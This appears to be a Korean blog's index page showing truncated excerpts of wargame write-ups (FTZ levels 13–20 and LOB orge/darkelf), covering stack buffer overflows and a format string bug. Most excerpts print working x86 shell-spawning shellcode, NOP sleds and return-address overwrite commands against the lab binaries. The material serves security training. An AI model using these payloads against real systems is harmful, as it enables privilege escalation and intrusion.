전체 글 172

[LOB_8]orge

orge // timewalker argv[0],[1] 만 입력되게 되어있고, memset을 한번더 해준다! 일단 먼저 사본파일 tmp에 저장 ./troll `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 세폴트(세그먼트폴트)가 떠 코어덤프를 해준다. 하지만 gdb로 확인을 해봤는데 one more ! 부분에서 memset를 한번더 해주어서 그 부분이 다 0으로 초기화 되었다. ./troll `python -c 'print "\x90"*43+"\xf9\xbf\x0f\x40\xbf"'` 혹시..

System/LOB 2019.09.24

[LOB_7]darkelf

darkelf // kernel crashed 소스코드는 다음과 같다. 전문제와 동일하고 하나하나 추가된다. 이번에 추가되는 부분은 요 녀석이다. argv[0]의 길이가 77개가 아니면 종료해버린다! argv[0]은 실행파일명이 저장되는 부분이다. 이 길이를 우회를 해야한다. (python -c 'print "A"*73';cat)|./orge `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 이런 상상도 해보았지만 fail.. 알아보니 실행파일 경로명이 아무리 길어도 20자를 넘지 못하기에 ..

System/LOB 2019.09.24

FTZ. 20

level20 // we are just regular guys 대망의 마지막 문제! 배열의 크기는 80인데 fgets 에서 입력받는 크기는 79이다. 즉 bof 로 ret 값을 변조가 안된다는 것이다. 그럼 무엇을 쓰면 좋을까? 다른것과 비교해 봤을 때 printf에서 차이점이 드러난다. 포맷스트링 %s를 사용하지 않고 단순 배열을 매개변수로 받는다. 이것은 FSB(Format String Bug)취약점이 발생하게 된다. 포맷스트링 에는 여러가지가 있다. %c : 단일문자 출력 %x : 부호없는 16진수 출력 %n : 이전까지 쓰인 byte 수만큼 저장 FSB에서 가장 중요한 포맷스트링은 %x, %n 이다. %x는 메모리를 읽어낼때, %n은 %n이 가리키는 주소에 저장할때! 먼저 메모리 구조를 대충 읽..

System/FTZ 2019.09.06

FTZ. 19

level19 // swimming in pink 심플한 코드이다. 환경변수를 이용해 ret에 그 주소를 넣어줘야 겠다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` (python -c 'print "\x90"*44+"\x60\xfe\xff\xbf"';cat)|./attackme 성공!?!? ...? 실패였다. 확인해보니 다른 코드와는 달리 setreuid가 없는게 차이점이였다. level20의 ..

System/FTZ 2019.09.06

FTZ. 17

level17 // king poetic 16번과 다르게 "/bash/sh" 가 없다. 그렇다면 환경변수를 이용해 공격해보자고 생각했다. SH의 페이로드는 다음과 같다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 등록한 후 주소를 알아 보았다. little endian : \x5f\xfe\xff\xbf (python -c 'print "\x90"*40+"\x5f\xfe\xff\xbf"';cat)..

System/FTZ 2019.09.06

FTZ. 16

level 16 // about to cause mass 힌트는 다음과 같다. 이번엔 함수의 주소를 이용해야 겠다고 생각이 들었다. main 디버깅 한 것을 보니 이렇게 구성이 되어있다고 생각하게 되었다. call에 shell 함수의 주소를 넣어주면 되겠다. shell함수 디버깅을 통해 함수의 주소를 찾아내었다. : 0x080484d0 이를 이용해 buf,dummy를 NOP으로 덮고 call 에 shell 함수의 주소를 넣어주는 페이로드를 작성하였다. (python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme 성공!

System/FTZ 2019.09.06

FTZ. 15

level15 // guess what 포인터 변수의 값이 deadbeef가 되면 쉘을 주는 문제이다. gdb 디버깅을 통해 일단 포인터 변수에 주소를 입력해 주어주면 될것같다. 첨에 환경변수로 접근하려고 했는데 계속 실패해서 담에 더 공부하고 해보기로한다. 군침이 도는 0xdeadbeef 이 부분의 주소를 따내면 될것같다. x/10x로 비교하는 주소부분부터 10개씩 보았다. 'deadbeef' 이친구가 시작하는 주소는 0x080484b2 이라는 것을 알아내었다. 페이로드를 작성하자 (구조는 전과 같으니 생략) (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat)|./attackme

System/FTZ 2019.09.06

FTZ. 13

level13 // have no clue 힌트는 다음과 같다. i값이 변하면 위험하다고 검사해주는 녀석인것 같다. 자세한 분석을 위해 디버깅! i를 덮어쓰면 안된다. 환경변수를 이용! 일단 strcpy함수가 보이기에 공격을 강행해본다. 우선 환경변수먼저 등록해준다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 환경변수 주소를 얻었다. : 0xbffffe5b (little endian : \x5b..

System/FTZ 2019.09.06